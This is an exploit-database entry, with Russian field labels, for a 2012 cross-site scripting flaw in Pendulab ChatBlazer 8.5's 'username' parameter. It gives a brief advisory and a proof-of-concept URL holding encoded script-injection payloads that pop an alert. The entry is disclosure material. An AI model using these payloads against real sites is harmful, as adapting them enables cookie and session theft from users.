Exploit Pendulab ChatBlazer 8.5 - 'Username' Cross-Site Scripting

[Exploiter]

EDB-ID

37095

Проверка EDB

1. Пройдено

Автор

SONYY

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2012-04-20

Pendulab ChatBlazer 8.5 - 'Username' Cross-Site Scripting

source: https://www.securityfocus.com/bid/53168/info

ChatBlazer is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ChatBlazer 8.5 is vulnerable; other versions may also be affected. 

http://www.example.com/cb8.5/client.php?username=%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29%3C/SCRIPT%3E&password=&roomid=1009&config=config.php%3Fembed%3D0